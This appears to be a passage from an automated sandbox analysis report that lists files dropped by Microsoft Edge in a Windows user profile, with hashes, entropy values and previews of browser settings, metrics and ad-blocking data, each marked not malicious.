Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9ad9be5f-4414-4477-a558-c3eb45f30fae.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46236
Entropy (8bit):	6.086874104242443
Encrypted:	false
SSDEEP:	768:+MkbJrT8IeQcrQgxa2PKKGf45iEiojwMFLXt8wMuCio07DRo+yM/42cRaLMos7j:+Mk1rT8HRavmLXphFo07VLyMV/Yosf
MD5:	A12DB38C26C917E34261B7729B79F41E
SHA1:	EC298D7E0F709312F2AD6681EBE7A26CD15F4647
SHA-256:	AA50BD6A9AEAEDEDF44B3D5923DB52AA6F29BC9C1CC539BDE24FB5DF2837A335
SHA-512:	33BF07F1D0A4E14016D103516E803EEEE8846C4C19A7AA8E586EEFF3B9C75BD19A8583A79826F86ED6F54F25DFCAF016EDF9432A4E167ACE1C50DABE220EBF5D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"909b2fc6-3693-46fd-b2e7-6b3710d3b120"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9c4940e0-9777-440f-88c7-6dcb069cdc5b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46112
Entropy (8bit):	6.087167135648168
Encrypted:	false
SSDEEP:	768:+MkbJrT8IeQcrQgxa+PKKGf45ipiojwMFLXt8wMuCio07DRo+yM/42cRaLMos7j:+Mk1rT8HRaXbLXphFo07VLyMV/Yosf
MD5:	FFA06D8E046C9C6976C0CF7C17EB67DB
SHA1:	652C13B23E5E2F44D56CCEE37B00ECD6DE653465
SHA-256:	592EA123EC00B3E34D496E4B1953795105599A3A7AC20EE87DC10FB51190ECAF
SHA-512:	9FA5D5FFCAB81B592CCD491BE55E7292C9CE52B678EBBE5B93DCE9A9149B134DC455A73494A407287DCABB7410186DD9310385C0B7CBC27C50CB82B45BD170A5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"909b2fc6-3693-46fd-b2e7-6b3710d3b120"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\0f124f8b-62e0-4921-a28f-3c44015799c9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139822627159
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7o:fwUQC5VwBIiElEd2K57P7o
MD5:	3F661497580210A9A5B194DBDE387CBD
SHA1:	AC5DA82539FDF967C0D29284446BBF33C1023DE3
SHA-256:	8615001DB8EA389D4FF271071160DD5F17A56A2FF6412C3D0A77531FBA8234C1
SHA-512:	8B7CE599B9C5A232BBB45152B5FE7850C2A7161EE914B04A63EDB0EF313D6C5A53962614F664908518B630D97F84C0EA5FED4CC0404D10EF9E5B6D58AB037437
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139822627159
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7o:fwUQC5VwBIiElEd2K57P7o
MD5:	3F661497580210A9A5B194DBDE387CBD
SHA1:	AC5DA82539FDF967C0D29284446BBF33C1023DE3
SHA-256:	8615001DB8EA389D4FF271071160DD5F17A56A2FF6412C3D0A77531FBA8234C1
SHA-512:	8B7CE599B9C5A232BBB45152B5FE7850C2A7161EE914B04A63EDB0EF313D6C5A53962614F664908518B630D97F84C0EA5FED4CC0404D10EF9E5B6D58AB037437
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673B081D-1F18.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04726711233878885
Encrypted:	false
SSDEEP:	192:CxY0m5tmxnOAU5YqJPi6VBKP7+HfgHX/4IEMEYTwgh81MNH+zRQcD/OBvDDn8y0d:qY0UtCcN4jphHgVfMvDD08T2RGOD
MD5:	CD6FAF88EB90AA4E3C3627F23388E5F7
SHA1:	2A98F57F0140B8047B17D027DD162E5C13A36DF7
SHA-256:	0B5EF308C660DCD4641C9F0AE65C96B476C4CA9D4463B68E756C92ABDEA14BCA
SHA-512:	BFF8FFA17C7448B9F086D8DF5947A2810C51136B548321DF6F6DDA351EFBD9BDE3D4353283CA1CF8D60C34AACA136B0F66D11EFE9742AC6BD2CD2503959CC326
Malicious:	false
Preview:	...@..@...@.....C.].....@...............xj..0Z..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".jiafcr20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U..G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2........9...... .2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673B081E-1DE0.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.5574792797621346
Encrypted:	false
SSDEEP:	6144:f3D7E2SXmUfqm6V5JGiqAx9d5U3alVuaHbx8:xUfb6Vymh
MD5:	E506A62F93E38D4519491AE86A25D943
SHA1:	9C24F50E3277319D1163ABDE15F57CC26BC77F3E
SHA-256:	DF858E03DA679FD0E8135FA8147504EA2D3F8628F498DC442ABFEABC568EF7A7
SHA-512:	DF4CAC86A64E4A6BD38F307221E95303EAD5120D88C4422047BD3624F45A3291C3CB2219EA3F1EDD3FB3998A7B69A81F4335E09B83D2B98FAF80EFE0FE668111
Malicious:	false
Preview:	...@..@...@.....C.].....@...................................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".jiafcr20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U?:K...G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2..........I......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.16517681506792
Encrypted:	false
SSDEEP:	3:FiWWltlrPYjpVjP9M4UcLH3RvwAH/llwBVP/Sh/Jzv/jSIHmsdJEU9VUn5lt:o1rPWVjWZq3RvtNlwBVsJDL7b/3U7
MD5:	C847567DEE0317368C1EC824DE025887
SHA1:	554098F22FEA9282FE1AAB35560849CD6FF546B1
SHA-256:	3CF2B1CBE4F4CCFC640BCF581FD4D9FC84254D2B3839C96EA4909B61AAF28932
SHA-512:	A976744405F6ABEBFB7513A3A6A776680334BB94A9E52AEEFE2B05259BCB3CF9781B1CCDA3655D8AA4C1E923143168F29EF3208F81ABCB93AFF5215ED3798219
Malicious:	false
Preview:	sdPC.....................!...W.F....+F."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................8889edf7-b09d-4a45-9ea5-adabbfd01bb9............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1b4f5ed2-0361-4312-973e-62cc1748eb2f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25185
Entropy (8bit):	5.571809294155018
Encrypted:	false
SSDEEP:	768:T9w7xbWPVpfqN8F1+UoAYDCx9Tuqh0VfUC9xbog/OV/unamrwRp+tuH:T9w7xbWPVpfqNu1jaYmaj2tg
MD5:	2421A4B18EF8A7EB7A3D3D9091F99F33
SHA1:	4389DA1D87206024B3F8C4218F017A7623AE873A
SHA-256:	18AC69E448ECDD06C9DA5D86D62A309B845D0DBD2655F030FFBF2071EE07F220
SHA-512:	6536D222AAE5C387553440B90A803CCEE24317164329CA45FC4C9208CF7DF72EBB3D06F9D49274CF661B4F610E5C4F061AF3808D7A757C3827EF112987EF4DF6
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376395550771756","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376395550771756","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\45374951-6d3d-430e-98b1-8955374a37e4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\644bc031-fe67-48bd-b7bd-9d5d28b43e56.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561672042475787
Encrypted:	false
SSDEEP:	768:T067jV7pLGLpFbWPVpf3N8F1+UoAYDCx9Tuqh0VfUC9xbog/OVaj1unZmrw4rTOu:T067jjcpFbWPVpf3Nu1jaXj1mZj4rTLr
MD5:	8C60C00FA6FC66A4F835C393F5F43C8E
SHA1:	DAA2914AF11EF82DF8FC59C2FEC9B821F8F572BA
SHA-256:	BA115E1CBBE8130F9250FB466A18275A6FB45701B4C3489B1DAAA9CB92577DCD
SHA-512:	A7705F1EFA2EB86C3EEAED6AAC22B5A700A5E4010DCE02EEE01E63C34BE411B3598D04767B34061F96E19CDA40824E366F74439F70ED982E7265671413C972A3
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376395550771756","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376395550771756","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\802d30b6-5cc9-44e7-8529-789b538e1496.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10559
Entropy (8bit):	5.1339599507265445
Encrypted:	false
SSDEEP:	192:stykdpjsv3yaNP9k1xaxJSQ88MbV+FC+Qw2dmPTYJ:styQjsv3tJfibG5Qw0
MD5:	64388E699B6788E7CC15DDF3DF0C23E6
SHA1:	762497A702DE30A3776E7E74D27C3F1617C00F71
SHA-256:	7830216E6505A914EF944C92031842B56BBA15B14BA64859C6988D14CB1D2A98
SHA-512:	5E3CFB7F29203FA1C27FC28D7829DB18A81817A98CDE864676297740549286A4ECC929F997DD7F43219D473D2E15E5E6047C192826FC637BE4C491DA78D678E8
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376395551374651","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\820f9fa5-9704-4860-a30c-7e9e793ac8cd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17252), with no line terminators
Category:	dropped
Size (bytes):	17256
Entropy (8bit):	5.483728776829338
Encrypted:	false
SSDEEP:	192:styJ99QTryDigabatSuypjsv3yaNPVl8ltrXk1NxJh6KMa7L0tahJ7Q88MbV+FCV:styPGKSu4jsv3tJV0+lt7L6hibG5QwRW
MD5:	0BB853722DFF817CB6F4BC617B657344
SHA1:	E99499876FB27979AB5DE2D764E0ED728B1D5D27
SHA-256:	8994CF1197E9325818D68F4E0DF599B87EB88FE479D4DC9E606263B16DFA20A2
SHA-512:	74B4E9A0CB65C8A4DEB7ACEBDCA9FE4409760C5BCCA055A3BA32F792888E0DA72CFD1DA0A5A0BF748E6F793863F829AC02F7EA0DB2AD8F7762B9122DFE0F253F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376395551374651","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\864c8e6d-744e-4f11-a1de-fcdd9da82620.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40503
Entropy (8bit):	5.5618280147274275
Encrypted:	false
SSDEEP:	768:T067jV7pLGLpFbWPVpf8N8F1+UoAYDCx9Tuqh0VfUC9xbog/OVaj1unZmrw4rsOO:T067jjcpFbWPVpf8Nu1jaXj1mZj4rsL7
MD5:	23873D66FCB7C0285904B147ECFA5014
SHA1:	3BBFAD1809F6ACF1AC2242742DCE75BB0C9FEBEA
SHA-256:	2352278CA517B31E781F30792E44B92ECB82B8B9948092EB39C6056B3ADB4FA1
SHA-512:	4EBB4C789F72E26FD5E1ECEB0E02D01097EE80CC1FC966D436C88558546F886E9AE34825AF6EC381185607DD587FD8170F2433EE7AADBCDAC3F43748C3A712AB
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376395550771756","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376395550771756","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.256371133748506
